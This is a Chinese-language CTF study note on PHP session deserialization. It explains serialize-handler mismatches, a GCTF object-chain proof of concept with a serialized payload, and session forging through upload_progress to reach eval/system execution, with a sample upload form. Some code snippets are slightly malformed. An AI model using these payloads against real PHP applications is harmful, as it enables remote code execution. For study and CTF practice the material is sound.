反序列化session利用總結
漏洞原理
參考;https://www.jb51.net/article/116246.htm
session的基本用法
當開始一個會話時,PHP 會嘗試從請求中查詢會話 ID (通常通過會話 cookie), 如果請求中不包含會話 ID 資訊,PHP 就會建立一個新的會話。 會話開始之後,PHP 就會將會話中的資料設定到
在學習 session 反序列化之前,需要了解這幾個引數的含義。
Directive | 含義 |
---|---|
session.save_handler | session儲存形式。預設為files |
session.save_path | session儲存路徑。 |
session.serialize_handler | session序列化儲存所用處理器。預設為php。 |
session.upload_progress.cleanup | 一旦讀取了所有POST資料,立即清除進度資訊。預設開啟 |
session.upload_progress.enabled | 將上傳檔案的進度資訊存在session中。預設開啟。 |
如果在PHP在反序列化儲存的$_SESSION資料時使用的引擎和序列化使用的引擎不一樣,會導致資料無法正確第反序列化。通過精心構造的資料包,就可以繞過程式的驗證或者是執行一些系統的方法
三種session引擎(進行反序列化)
php_binary:儲存方式是,鍵名的長度對應的ASCII字元+鍵名+經過serialize()函式序列化處理的值 php:儲存方式是,鍵名+豎線+經過serialize()函式序列處理的值 php_serialize(php>5.5.4):儲存方式是,經過serialize()函式序列化處理的值
//舉例說明
session_start();
$_SESSION['name'] = 'spoock';
var_dump($_SESSION);
php_serialize 引擎下,session檔案中儲存的資料為:
a:1:{s:4:"name";s:6:"spoock";}
php 引擎下,session檔案中儲存的資料為:
name|s:6:"spoock";
php_binary 引擎下,session檔案中儲存的資料為:
names:6:"spoock";
如果檔案如下
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
?>
在另一個頁面有如下程式碼
<?php
class A {
public $a = 'aa';
function __wakeup() {
echo $this->a;
}
var_dump($_SESSION);
?>
此時是利用php引擎(預設的引擎)去讀取該反序列話引擎儲存的資料時,就會發生
session["a:1:{s:4:"ryat";s:30:""]=>
object(A)#1 (1) {
["a"]=>
string(2) "xx"
}
//可以發現|之前的都被當成了鍵名,之後的作為物件被反序列化
例項一:ctfshow 263
直接檢視ctfshow 反序列化專題
例項二:GCTF上的一道session反序列化漏洞分析:
//query.php 部分程式碼
session_start();
header('Look me: edit by vim ~0~')
//……
class TOPA{
public $token;
public $ticket;
public $username;
public $password;
function login(){
//if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
$this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
return 'key is:{'.$this->token.'}';
}
}
}
class TOPB{
public $obj;
public $attr;
function __construct(){
$this->attr = null;
$this->obj = null;
}
function __toString(){
$this->obj = unserialize($this->attr);
$this->obj->token = $FLAG;
if($this->obj->token === $this->obj->ticket){
return (string)$this->obj;
}
}
}
class TOPC{
public $obj;
public $attr;
function __wakeup(){
$this->attr = null;
$this->obj = null;
}
function __destruct(){
echo $this->attr;
}
}
POC
$testa = new TOPA();
$testc = new TOPC();
$testb = new TOPB();
$testa->username = 0;
$testa->password = 0;
$testa->ticket = &$testa->token;
$sa = serialize($testa);
$testc->attr = $testb;
$testb->attr = $sa;
$test = serialize($testc);
echo $test;
分析:
構造一個TOPC,在析構的時候則會呼叫echo $this->attr;
將attr賦值為TOPB物件,在echo TOPB的時候會自動呼叫__tostring魔術方法
在__tostring中會呼叫unserialize($this->attr),因為後面用到token和ticket,
所以顯然是TOPA物件。後面判斷需要$this->obj->token === $this->obj->ticket,
所以在序列化的時候進行指標引用使$a->ticket = &$a->token;,即可繞過判斷。
(string)$this->obj會輸出flag
payload
|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}
3.偽造session
原理:
當 session.upload_progress.enabled INI 選項開啟時,PHP 能夠在每一個檔案上傳時監測上傳進度。 這個資訊對上傳請求自身並沒有什麼幫助,但在檔案上傳時應用可以傳送一個POST請求到終端(例如通過XHR)來檢查這個狀態。
當一個上傳在處理中,同時POST一個與INI中設定的session.upload_progress.name同名變數時,上傳進度可以在$_SESSION中獲得。 當PHP檢測到這種POST請求時,它會在$_SESSION中新增一組資料, 索引是session.upload_progress.prefix 與 session.upload_progress.name連線在一起的值。
例題:
可以看到題目環境中的 session.serialize_handler 預設為 php_serialize 處理器,而程式使用的卻是 php 處理器,而且開頭 第4行 使用了 session_start() 函式,那麼我們就可以利用 session.upload_progress.enabled 來偽造 session ,然後在 PHP 反序列化 session 檔案時,還原 OowoO 類,最終執行 eval 函式。
構造payload
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO{
public $mdzz;
function __construct(){
$this->mdzz = 'echo system("pwd");';
}
function __destruct(){
eval($this->mdzz);
}
}
$_SESSION['payload'] = new OowoO();
// 生成session檔案內容為:
// payload|O:5:"OowoO":1:{s:4:"mdzz";s:19:"echo system("pwd");";}
?>
抓包
把POST的name值改為同名值
<form action="http://localhost/demo.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
那麼怎麼session的鍵名有了(與POST的變數),鍵值從哪裡讀取呢
可見只要把filename改成我們的payload即可
還有一些值得看的文章沒看完